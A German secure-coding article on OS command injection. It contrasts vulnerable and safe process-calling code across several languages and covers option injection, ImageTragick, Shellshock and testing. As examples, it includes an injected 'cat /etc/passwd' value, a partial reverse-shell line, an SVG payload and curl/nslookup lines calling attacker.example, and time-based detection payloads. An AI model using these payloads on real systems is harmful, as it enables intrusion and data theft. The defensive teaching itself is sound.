OS-Command-Injection ist eine der gefährlichsten Injection-Klassen — weil das Ergebnis bei Erfolg fast immer Remote Code Execution auf dem Server ist. Eine einzige Zeile os.system("convert " + filename) mit user-kontrolliertem Filename reicht. Dieser Artikel zeigt die typischen Quellen, das fundamentale Schutz-Pattern (argv-Form ohne Shell) und warum auch erfahrene Entwickler:innen die Klasse immer wieder bauen — meist aus Bequemlichkeit beim Aufruf externer Tools.
Wie Command Injection entsteht
Die Klasse entsteht, wenn eine Anwendung einen Shell-Befehl zusammenbaut, indem sie User-Input in einen String einfügt, der dann an die Shell übergeben wird. Die Shell interpretiert Sonderzeichen (;, &&, |, backticks, $()) als Trennzeichen zwischen Befehlen.
Klassisches Node.js-Beispiel:
// Schadhaft
const { exec } = require('child_process');
exec(`ping -c 1 ${userHost}`, (err, stdout) => {
res.send(stdout);
});Mit userHost = "google.com; cat /etc/passwd" führt die Shell zwei Befehle aus:
ping -c 1 google.com; cat /etc/passwdDer Inhalt von /etc/passwd landet in der Response. Remote File-Read auf dem Server, ohne dass es vom Web-Code beabsichtigt war.
Schadens-Eskalation:
Sobald RCE im Web-Server-Prozess geht, kann ein:e Angreifer:in:
- Datei-System lesen (
cat,find). - Datei-System schreiben (
echo > /tmp/...). - Reverse-Shell aufbauen (
bash -i >& /dev/tcp/...). - Persistenz aufbauen (Cron-Job, Service-Datei).
- Lateral Movement zu anderen Services.
- Cloud-Credentials abgreifen (IMDS,
~/.aws/credentials).
Command-Injection ist deshalb in der OWASP Top 10 (A03) und der CWE Top 25 (CWE-77, CWE-78) konstant unter den ersten Plätzen.
Die argv-Form — die strukturelle Lösung
Die saubere Antwort: niemals eine Shell aufrufen mit String-Konkat. Stattdessen das Programm direkt mit einer Argument-Liste aufrufen — die Shell ist nicht beteiligt.
Node.js:
// Schadhaft
const { exec } = require('child_process');
exec(`ping -c 1 ${userHost}`, callback);
// Sicher: spawn mit argv-Liste, KEIN shell
const { spawn } = require('child_process');
const child = spawn('ping', ['-c', '1', userHost], { shell: false });
let output = '';
child.stdout.on('data', d => output += d);
child.on('close', code => {
// userHost wird als EINEN String-Parameter übergeben,
// keine Shell, keine Sonderzeichen-Interpretation
});
// Auch sicher: execFile mit argv
const { execFile } = require('child_process');
execFile('ping', ['-c', '1', userHost], (err, stdout) => {
// ...
});Python:
# Schadhaft
import os
os.system(f"ping -c 1 {user_host}")
# Sicher: subprocess.run mit Liste, shell=False (Default)
import subprocess
result = subprocess.run(
["ping", "-c", "1", user_host],
capture_output=True,
text=True,
)
# user_host wird als einzelner Argument übergeben,
# keine Shell-InterpretationPHP:
// Schadhaft
system("ping -c 1 " . $user_host);
// Sicher: proc_open mit escapeshellarg
$cmd = "ping -c 1 " . escapeshellarg($user_host);
$output = shell_exec($cmd);
// Noch besser: proc_open mit argv-Array
$proc = proc_open(
['ping', '-c', '1', $user_host],
[1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
$pipes
);Ruby:
# Schadhaft
`ping -c 1 #{user_host}`
system("ping -c 1 #{user_host}")
# Sicher: system mit Array (umgeht Shell)
system('ping', '-c', '1', user_host)
# Oder Open3 für Output-Capture
require 'open3'
stdout, status = Open3.capture2('ping', '-c', '1', user_host)Java:
// Schadhaft
Runtime.getRuntime().exec("ping -c 1 " + userHost);
// Sicher: String-Array statt String
Runtime.getRuntime().exec(new String[]{"ping", "-c", "1", userHost});
// Besser: ProcessBuilder
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", userHost);
pb.redirectErrorStream(true);
Process proc = pb.start();Go:
// Sicher: exec.Command mit getrennten Argumenten
cmd := exec.Command("ping", "-c", "1", userHost)
output, err := cmd.Output()Das Muster ist universell: Programm-Name als erstes Argument, alle weiteren als separate Strings. Keine Shell zwischendrin. Sonderzeichen in den Argument-Strings sind dann Teil der Daten — kein Code mehr.
shell:true und exec() — die Stolperfallen
In Node.js und vielen anderen Sprachen gibt es zwei Modi:
exec()/shell: true— Programm wird durch die System-Shell (bash, cmd.exe) aufgerufen. Sonderzeichen werden interpretiert.spawn()/execFile()/shell: false— Programm wird direkt aufgerufen, keine Shell. Argumente sind Daten.
Node.js mit shell: true ist gefährlich:
const { spawn } = require('child_process');
// ⚠️ Mit shell: true ist die argv-Trennung egal — alles wird in eine Shell-Kommandozeile gesteckt
const child = spawn('ping', ['-c', '1', userHost], { shell: true });
// userHost = "google.com; cat /etc/passwd" — Shell führt beides ausshell: true macht aus dem sicheren spawn einen unsicheren exec. Niemals shell: true mit User-Input kombinieren.
Was wann nötig ist:
- Shell-Features (Pipes, Redirects, Wildcards) — nur dort ist
shell: truelegitim. Aber selbst dann: User-Input sollte komplett aus dem Shell-String herausgehalten werden. - Pures Programm-Aufruf —
shell: false(Default inspawnundexecFile). Immer.
Sub-Prozess-Wrappers in höheren Frameworks:
Viele Frameworks haben höhere APIs (Express-Middlewares, FastAPI-Background-Tasks), die intern subprocess nutzen. Wenn diese Wrappers User-Input direkt in Shell-Commands fließen lassen, ist die Lücke da — auch wenn der Anwendungs-Code „nur" eine Library nutzt.
shell-quote und escapeshellarg sind nicht zuverlässig
Manche Library-Empfehlungen sagen: „Wenn du Shell brauchst, escape die Werte mit shell-quote (Node.js) oder escapeshellarg (PHP)." Das funktioniert manchmal — und ist schlechter als die argv-Form.
Probleme mit escapeshellarg:
- Funktioniert pro Argument, nicht pro Command-Line. Wer mehrere Argumente baut, muss jedes einzeln escapen.
- Shell-Dialekt-spezifisch — Bash vs. cmd.exe vs. PowerShell haben unterschiedliche Escape-Regeln.
- Historische CVE-Klassen durch fehlerhafte Escape-Implementierungen — z. B.
escapeshellargmit%-Zeichen-Edge-Cases in Windows. - Bypass-Patterns durch Encoding-Tricks (UTF-8, Locale-Settings).
Beispiel-Fallstrick mit shell-quote:
const shellQuote = require('shell-quote');
// Wirkt sicher
const cmd = shellQuote.quote(['ping', '-c', '1', userHost]);
exec(cmd, callback);
// Aber: shell-quote hatte historisch CVE-Lücken bei bestimmten Special-Chars
// Und vor allem: warum überhaupt Shell? spawn() ohne Shell ist einfacher und sicherer.Universelle Regel: Wenn du shell-quote / escapeshellarg einsetzt, hast du wahrscheinlich das falsche Werkzeug — nimm spawn/subprocess.run/ProcessBuilder ohne Shell. Das löst das Problem an der Wurzel.
Path-Argumente als versteckter Vektor
Auch ohne klassische Shell-Sonderzeichen kann User-Input gefährlich sein, wenn es als Pfad oder Option an ein Tool geht:
Path-Manipulation via --:
// Schadhaft (selbst mit argv-Form)
spawn('grep', [userPattern, '/var/log/app.log'], { shell: false });
// userPattern = "--rsh=cat /etc/passwd"
// Manche Tools (z. B. ältere rsync, git) interpretieren --rsh als OptionDie argv-Form schützt vor Shell-Interpretation, aber nicht vor Optionen-Injektion im aufgerufenen Tool. Eine Argument-Form wie -flag oder --option wird vom Tool als Konfigurations-Anweisung interpretiert.
Schutz:
--als Trenner vor User-Input — viele Tools interpretieren danach folgende Argumente als Pfade/Daten, nicht als Optionen.
spawn('grep', [userPattern, '--', '/var/log/app.log'], { shell: false });
// Mit `--` vor weiteren Argumenten: grep interpretiert userPattern nicht als Option- Allowlist für User-Eingaben, die als Argumente fließen — z. B. nur Buchstaben/Zahlen erlauben.
- Tool-Spezifika studieren — manche Tools haben Tool-spezifische Sub-Injection-Klassen (
tar --use-compress-program,git --upload-pack, etc.).
Reale Vorfälle:
- Git RCE via
--upload-pack(2018, CVE-2018-17456) — Submodule-URL mit Option-Injection. - wget RCE via
--output-documentmit speziellen URLs. - find-exec-Pattern mit Option-Trickery.
Filename-basierte Vektoren
Eine besonders heimtückische Klasse: Dateinamen aus User-Upload, die später an Tools übergeben werden.
Klassisches ImageMagick-Beispiel (CVE-2016-3714 „ImageTragick"):
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" width="640" height="480">
<image xlink:href="url(https://attacker.example/`id`)" />
</svg>Wenn ein Server diese SVG mit ImageMagick verarbeitet, führt ImageMagick die URL-Auflösung über eine intern aufgerufene Shell durch — der id-Befehl in den Backticks läuft. RCE.
ImageMagick hat 2016 nach dem Vorfall die Policy-Datei eingeführt, mit der gefährliche Delegate-Aufrufe deaktiviert werden:
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="HTTP" />Allgemeine Regel:
- Hochgeladene Dateien mit kontrolliertem Dateinamen speichern — niemals den User-supplied Filename als Argument an ein Tool geben.
- Datei-Inhalte validieren (Magic-Bytes, Format-Check) vor Verarbeitung.
- Tool-Sandboxing (Container, gVisor, Firejail) für externe Tools, die User-Input verarbeiten.
Vertieft in file-upload-und-pfad-traversal.
Reale Vorfälle
Shellshock (2014, CVE-2014-6271) — bash-Schwachstelle:
Bash interpretierte Environment-Variablen, die mit () { :; }; begannen, als Funktions-Definition mit Trailing-Code. Web-Server, die CGI-Scripts aufriefen und HTTP-Header in Environment-Variablen mappten, waren angreifbar — ein präparierter User-Agent-Header führte zu RCE. Eine der einflussreichsten Sicherheits-Lücken der 2010er.
ImageTragick (2016, CVE-2016-3714): Siehe oben. ImageMagick als weit verbreitete Image-Library war angreifbar. Massen-Scanner gegen Web-Apps mit Image-Upload.
Shopify, Slack, GitLab — Command-Injection-Bug-Bounty-Reports (laufend): Bug-Bounty-Programme zeigen regelmäßig RCE-Funde durch Command-Injection in Custom-Tool-Aufrufen. Auszahlungen oft im fünf- bis sechsstelligen Bereich.
Microsoft Exchange — mehrere Command-Injection-CVEs in PowerShell-Endpunkten (HAFNIUM-Welle 2021).
Apache Struts — mehrere OGNL-zu-Command-Injection-Vektoren (Equifax-Vorfall 2017).
Command-Injection ist eine High-Severity-Klasse mit konsistenter Vorfall-Geschichte. Wer Tools aus Code aufruft, sollte das Pattern-Bewusstsein haben.
Test-Strategien
Manuelle Tests:
Klassische Payloads für Detection:
; sleep 5
&& sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
# Windows
& timeout 5
&& timeout 5
| timeout 5Wenn die Response 5 Sekunden länger braucht als normal — Time-Based-Detection positiv.
Out-of-Band-Detection:
Manche Apps verschlucken Output. DNS-basierte Detection:
; nslookup unique-id.attacker.example
$(curl https://unique-id.attacker.example)Wenn der/die Angreifer:in eine DNS-/HTTP-Anfrage von der App-Server-IP sieht — Command-Injection bestätigt.
Tools:
- Burp Suite Pro mit aktivem Scanner — findet die meisten Standard-Patterns.
- OWASP ZAP Command-Injection-Plugin.
- Commix — spezialisiertes Tool für Command-Injection-Tests (analog zu sqlmap).
Statische Analyse:
- Semgrep mit
injection-Pattern fürexec,system,shell_exec. - CodeQL mit Sicherheits-Pack — erkennt User-Input-zu-exec-Pfade.
- eslint-plugin-security für Node.js — warnt vor
child_process.execmit Variable.
Code-Review-Pattern:
Grep nach:
exec(,system(,popen(,shell_exec(,Runtime.exec(,subprocess.run(...shell=True).spawnmitshell: true.- Backticks in Ruby/Perl/PHP (Inline-Shell-Exec).
Häufige Stolperfallen
Node.js exec() vs. execFile()
Klassischer Verwechsler: exec(cmd) nutzt Shell, execFile(cmd, [args]) nicht. exec ist auch dann gefährlich, wenn der Code wie eine argv-Liste aussieht — der erste String wird trotzdem von der Shell interpretiert. execFile oder spawn mit shell: false sind die richtige Wahl.
Python subprocess: shell-Parameter ist die Falle
subprocess.run(["ls", "-l"]) ist sicher. subprocess.run("ls -l", shell=True) auch — wenn der String hardcoded ist. Wenn aber subprocess.run(f"ls {user_dir}", shell=True) mit User-Input — Command-Injection. Konsequente Liste + shell=False (Default) ist die einzige strukturell sichere Form.
PHP escapeshellcmd ist NICHT escapeshellarg
Zwei verschiedene Funktionen mit ähnlichem Namen. escapeshellcmd escapt einen ganzen Command-String — schwächer und oft falsch verstanden. escapeshellarg escapt ein einzelnes Argument — besser, aber immer noch shell-basiert. proc_open mit argv-Array ist die saubere Lösung.
Windows hat eigene Shell-Eigenheiten
cmd.exe versus PowerShell versus modernes Terminal — alle haben unterschiedliche Escape-Regeln und Sonderzeichen. %VARIABLE%-Substitution in cmd.exe ist eine eigene Injection-Klasse. Bei Cross-Plattform-Code: Tests auf Windows + Linux + macOS.
Tool-spezifische Sub-Injections
Selbst mit argv-Form kann das aufgerufene Tool eigene Injection-Klassen haben. git clone {url} mit URL --upload-pack=evil — Option-Injection in git. find {path} -exec ... mit Pfad-Tricks — eigene Klasse. Pro Tool die spezifischen Risiken kennen.
curl, wget, scp — Standard-Vektoren in CI/CD
Viele CI-Pipelines rufen curl, wget, scp oder ssh mit User-konfigurierten Parametern auf. Jeder dieser Aufrufe kann eine Command-Injection-Klasse sein, wenn URLs/Pfade ungeschützt fließen. Bug-Bounty-Reports finden hier regelmäßig RCE.
Container und Sandbox als Defense-in-Depth
Selbst bei perfektem Code: das aufrufende Programm (ImageMagick, ffmpeg, ghostscript, libreoffice-headless) hat eigene Schwachstellen. Wenn deine App externe Tools mit User-Input nutzt, lohnt sich der Aufruf in isoliertem Container (gVisor, firecracker, eigene Docker-Sandbox). Schadensbegrenzung bei Zero-Day im Tool.
Weiterführende Ressourcen
Externe Quellen
- OWASP OS Command Injection Defense Cheat Sheet
- PortSwigger Web Security Academy — OS Command Injection
- Commix — Command Injection Exploit Tool
- PayloadsAllTheThings — Command Injection
- Node.js child_process Docs
- Python subprocess — Security Considerations
- PHP escapeshellarg Docs
- ImageMagick Security Policy
- Shellshock Erklärung
Verwandte Artikel
- Injection-Grundlagen
- SQL-Injection
- NoSQL-Injection
- LDAP- und XPath-Injection
- File-Upload und Pfad-Traversal
- SSRF und Cloud-Metadata (Kap 18)
- Klick-Chain-Scams (Kap 4 — ClickFix als Client-Variante)